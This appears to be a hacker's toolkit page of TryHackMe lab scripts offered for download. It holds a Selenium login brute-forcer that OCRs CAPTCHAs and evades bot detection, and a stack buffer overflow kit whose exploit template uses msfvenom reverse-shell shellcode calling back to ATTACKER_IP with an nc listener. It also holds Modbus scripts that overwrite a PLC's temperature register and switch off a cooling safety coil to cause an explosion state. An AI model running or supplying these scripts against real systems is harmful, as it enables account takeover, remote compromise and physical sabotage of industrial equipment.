sudo apt install tesseract-ocr chromium-driver
sudo apt install python3-selenium
pip install pytesseract pillow selenium-stealth fake-useragent --break-system-packages
"""
from selenium.webdriver.common.by import By
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from selenium_stealth import stealth
import time
from fake_useragent import UserAgent
from PIL import Image, ImageEnhance, ImageFilter
import pytesseract
import io
import os
# Create folder for saving CAPTCHA images
os.makedirs("captchas", exist_ok=True)
options = Options()
ua = UserAgent()
userAgent = ua.random
options.add_argument('--no-sandbox')
options.add_argument('--headless')
options.add_argument("start-maximized")
options.add_argument(f'user-agent={userAgent}')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--disable-cache')
options.add_argument('--disable-gpu')
options.binary_location = "/usr/bin/chromium"
service = Service(executable_path='/usr/bin/chromedriver')
chrome = webdriver.Chrome(service=service, options=options)
stealth(chrome,
languages=["en-US", "en"],
vendor="Google Inc.",
platform="Win32",
webgl_vendor="Intel Inc.",
renderer="Intel Iris OpenGL Engine",
fix_hairline=True,
)
# CONFIG
ip = 'http://TARGET_IP'
login_url = f'{ip}/index.php'
dashboard_url = f'{ip}/dashboard.php'
username = "admin"
with open('top100.txt', 'r') as f:
passwords = [line.strip() for line in f]
for password in passwords:
while True:
chrome.get(login_url)
time.sleep(1)
# Grab CSRF token
csrf = chrome.find_element(By.NAME, "csrf_token").get_attribute("value")
# Get CAPTCHA image rendered in-browser
captcha_img_element = chrome.find_element(By.TAG_NAME, "img")
captcha_png = captcha_img_element.screenshot_as_png
# Preprocess image for OCR
image = Image.open(io.BytesIO(captcha_png)).convert("L")
image = image.resize((image.width * 2, image.height * 2), Image.LANCZOS)
image = image.filter(ImageFilter.SHARPEN)
image = ImageEnhance.Contrast(image).enhance(2.0)
image = image.point(lambda x: 0 if x < 140 else 255, '1')
# OCR the CAPTCHA
captcha_text = pytesseract.image_to_string(
image,
config='--psm 7 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ23456789'
).strip().replace(" ", "").replace("\n", "").upper()
# Save the image for review
image.save(f"captchas/captcha_{password}_{captcha_text}.png")
if not captcha_text.isalnum() or len(captcha_text) != 5:
print(f"[!] OCR failed (got: '{captcha_text}'), retrying...")
continue
print(f"[*] Trying password: {password} with CAPTCHA: {captcha_text}")
# Fill out and submit the form
chrome.find_element(By.NAME, "username").send_keys(username)
chrome.find_element(By.NAME, "password").send_keys(password)
chrome.find_element(By.NAME, "captcha_input").send_keys(captcha_text)
chrome.find_element(By.ID, "login-btn").click()
time.sleep(1)
if dashboard_url in chrome.current_url:
print(f"[+] Login successful with password: {password}")
try:
flag = chrome.find_element(By.TAG_NAME, "p").text
print(f"[+] {flag}")
except:
print("[!] Logged in, but no flag found.")
chrome.quit()
exit()
elif "CAPTCHA incorrect" in chrome.page_source:
print(f"[!] CAPTCHA wrong (got '{captcha_text}'), retrying same password")
continue # retry same password with fresh CAPTCHA
else:
print(f"[-] Failed login with: {password}")
break # actual wrong password, try next
chrome.quit()Buffer Overflow
Four-stage toolkit for exploiting stack-based buffer overflows over TCP. Run in sequence: fuzz to find the crash point, send a cyclic pattern to locate EIP, confirm the offset, then fire the shellcode.
bof_fuzz.py
Finds the crash threshold of a TCP service by sending payloads of increasing size. Stops and reports the byte count at the point of disconnection or crash. Configure HOST, PORT, START, STEP, and MAX at the top before running.
Used in: Brainstorm, Brainpan 1, Gatekeeper. Download: bof_fuzz.py
#!/usr/bin/env python3
"""
bof_fuzz.py — Generic buffer overflow fuzzer.
Sends increasing payloads over TCP to find the crash threshold.
Configure HOST, PORT, START, STEP, and MAX before running.
Used in: Brainstorm, Brainpan 1, Gatekeeper (TryHackMe)
"""
import socket
import time
HOST = "TARGET_IP"
PORT = 9999
START = 100
STEP = 100
MAX = 3000
TIMEOUT = 5
for size in range(START, MAX, STEP):
print(f"[*] Sending {size} bytes")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(TIMEOUT)
s.connect((HOST, PORT))
s.recv(1024)
s.sendall(b"A" * size + b"\r\n")
s.close()
time.sleep(1)
except Exception as e:
print(f"[!] Crashed or disconnected around {size} bytes: {e}")
break
bof_pattern.py
Sends a cyclic pattern generated by Metasploit's pattern_create.rb to a TCP service. The unique sequence lets the EIP value after a crash pinpoint the exact offset. Requires a debugger attached to the target process to read EIP.
Used in: Brainstorm, Brainpan 1, Gatekeeper. Download: bof_pattern.py
#!/usr/bin/env python3
"""
bof_pattern.py — Cyclic pattern sender for EIP offset identification.
Generate the pattern first:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l LENGTH > pattern.txt
Attach a debugger to the target process before running. Read the EIP value
from the crash, then calculate offset with:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q EIP_VALUE
Used in: Brainstorm, Brainpan 1, Gatekeeper (TryHackMe)
"""
import socket
HOST = "TARGET_IP"
PORT = 9999
PATTERN_FILE = "pattern.txt"
with open(PATTERN_FILE, "rb") as f:
payload = f.read().strip()
print(f"[*] Sending {len(payload)}-byte cyclic pattern to {HOST}:{PORT}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.recv(1024)
s.sendall(payload + b"\r\n")
s.close()
print("[*] Pattern sent. Check debugger for EIP value.")
bof_control_test.py
Verifies the offset before adding shellcode. Sends A * OFFSET + B * 4 + C * 100. If the offset is correct, EIP will equal 0x42424242 (BBBB) in the debugger. Set OFFSET to your calculated value before running.
Used in: Brainstorm, Brainpan 1, Gatekeeper. Download: bof_control_test.py
#!/usr/bin/env python3
"""
bof_control_test.py — Offset control test.
Sends A * OFFSET + B * 4 + C * 100.
If the offset is correct, EIP should equal 0x42424242 (BBBB) in the debugger.
C's appear on the stack after EIP, confirming space for shellcode.
Set OFFSET to your calculated value before running.
Used in: Brainstorm, Brainpan 1, Gatekeeper (TryHackMe)
"""
import socket
HOST = "TARGET_IP"
PORT = 9999
OFFSET = 0 # Set this to your calculated offset
payload = b"A" * OFFSET
payload += b"B" * 4 # Should land in EIP (0x42424242)
payload += b"C" * 100 # Should appear after EIP on the stack
print(f"[*] Sending {len(payload)}-byte control payload to {HOST}:{PORT}")
print(f"[*] Layout: A*{OFFSET} + BBBB + C*100")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.recv(1024)
s.sendall(payload + b"\r\n")
s.close()
print("[*] Sent. Verify EIP = 42424242 in debugger.")
bof_exploit.py
Final exploit template. Set HOST, PORT, OFFSET, and JMP_ESP (little-endian), generate shellcode with msfvenom into shellcode.txt, then run. Syntax check with python3 -m py_compile before firing. Start a listener before running the script.
Used in: Brainstorm, Brainpan 1, Gatekeeper. Download: bof_exploit.py
#!/usr/bin/env python3
"""
bof_exploit.py — Buffer overflow exploit template.
Before running:
1. Set OFFSET, JMP_ESP, HOST, and PORT.
2. Generate shellcode with msfvenom and save to shellcode.txt:
Windows target:
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 EXITFUNC=thread -b '\x00' -f python -v shellcode > shellcode.txt
Linux target:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -b '\x00' -f python -v shellcode > shellcode.txt
3. Syntax check before firing:
python3 -m py_compile bof_exploit.py
4. Start a listener:
nc -lvnp 4444
Used in: Brainstorm, Brainpan 1, Gatekeeper (TryHackMe)
"""
import socket
HOST = "TARGET_IP"
PORT = 9999
OFFSET = 0 # Set to your confirmed offset
JMP_ESP = b"\x00\x00\x00\x00" # Replace with JMP ESP address (little-endian)
NOPS = b"\x90" * 32
SHELLCODE_FILE = "shellcode.txt"
exec(open(SHELLCODE_FILE, "r").read())
payload = b"A" * OFFSET
payload += JMP_ESP
payload += NOPS
payload += shellcode
print(f"[*] Target: {HOST}:{PORT}")
print(f"[*] Payload length: {len(payload)} bytes")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.recv(1024)
s.sendall(payload + b"\r\n")
s.close()
print("[*] Payload sent.")
Kaboom Modbus Toolkit
Four-script toolkit for attacking Modbus TCP on OT/ICS systems. Built during the Kaboom TryHackMe lab targeting an OpenPLC CCTV simulator. The scripts map registers and coils, identify the temperature control register, write arbitrary values to spike the process temperature, and force the cooling safety coil to False to achieve explosion state.
read_temp.py
Reads a single holding register from a Modbus TCP device and prints the raw value and scaled temperature. Configure HOST, REGISTER, and SCALE before running.
Used in: Kaboom. Download: read_temp.py
from pymodbus.client import ModbusTcpClient
HOST = "TARGET_IP"
PORT = 502
DEVICE_ID = 1
REGISTER = 0 # Replace with the documented temperature register
SCALE = 10 # Common: raw 253 means 25.3°C
client = ModbusTcpClient(HOST, port=PORT, timeout=3)
try:
if not client.connect():
raise ConnectionError(f"Could not connect to {HOST}:{PORT}")
result = client.read_holding_registers(
address=REGISTER,
count=1,
device_id=DEVICE_ID,
)
if result.isError():
print(f"Modbus error: {result}")
else:
raw = result.registers[0]
print(f"Raw register value: {raw}")
print(f"Temperature: {raw / SCALE:.1f} °C")
finally:
client.close()scan_modbus.py
Full Modbus register and coil discovery scan. Reads holding registers, input registers, coils, and discrete inputs across address ranges 0-20 and 0-23 respectively. Reports all non-error responses with their values.
Used in: Kaboom. Download: scan_modbus.py
from pymodbus.client import ModbusTcpClient
HOST = "TARGET_IP"
UNIT = 1
client = ModbusTcpClient(HOST, port=502, timeout=3)
if not client.connect():
raise SystemExit("Could not connect")
for kind, reader in (
("holding", client.read_holding_registers),
("input", client.read_input_registers),
):
print(f"\n[{kind} registers]")
for address in range(0, 21):
result = reader(
address=address,
count=1,
device_id=UNIT,
)
if not result.isError():
print(f"{address}: {result.registers[0]}")
print("\n[coils]")
for address in range(0, 24):
result = client.read_coils(
address=address,
count=1,
device_id=UNIT,
)
if not result.isError():
print(f"{address}: {result.bits[0]}")
print("\n[discrete inputs]")
for address in range(0, 24):
result = client.read_discrete_inputs(
address=address,
count=1,
device_id=UNIT,
)
if not result.isError():
print(f"{address}: {result.bits[0]}")
client.close()test_write.py
Tests write capability to a Modbus holding register. Reads the current value, writes a new value, then reads again to confirm the change took effect. Used to verify register 0 controls the simulated temperature before escalating to maximum values.
Used in: Kaboom. Download: test_write.py
from pymodbus.client import ModbusTcpClient
HOST = "TARGET_IP"
UNIT = 1
client = ModbusTcpClient(HOST, port=502, timeout=3)
try:
if not client.connect():
raise SystemExit("Could not connect")
before = client.read_holding_registers(
address=0,
count=1,
device_id=UNIT,
)
print(f"Before: {before.registers[0]}")
result = client.write_register(
address=0,
value=100,
device_id=UNIT,
)
print(f"Write result: {result}")
after = client.read_holding_registers(
address=0,
count=1,
device_id=UNIT,
)
print(f"After: {after.registers[0]}")
finally:
client.close()cooling_obliterato.py
Forces a Modbus coil to False, disabling the cooling safety mechanism. Reads the coil state before and after to confirm the write. When combined with a maxed-out temperature register, this achieves the explosion state.
Used in: Kaboom. Download: cooling_obliterato.py
from pymodbus.client import ModbusTcpClient
HOST = "TARGET_IP"
UNIT = 1
COOLING_COIL = 15
client = ModbusTcpClient(HOST, port=502, timeout=3)
try:
if not client.connect():
raise SystemExit("Could not connect")
before = client.read_coils(
address=COOLING_COIL,
count=1,
device_id=UNIT,
)
print(f"Cooling before: {before.bits[0]}")
result = client.write_coil(
address=COOLING_COIL,
value=False,
device_id=UNIT,
)
print(f"Write result: {result}")
after = client.read_coils(
address=COOLING_COIL,
count=1,
device_id=UNIT,
)
print(f"Cooling after: {after.bits[0]}")
finally:
client.close()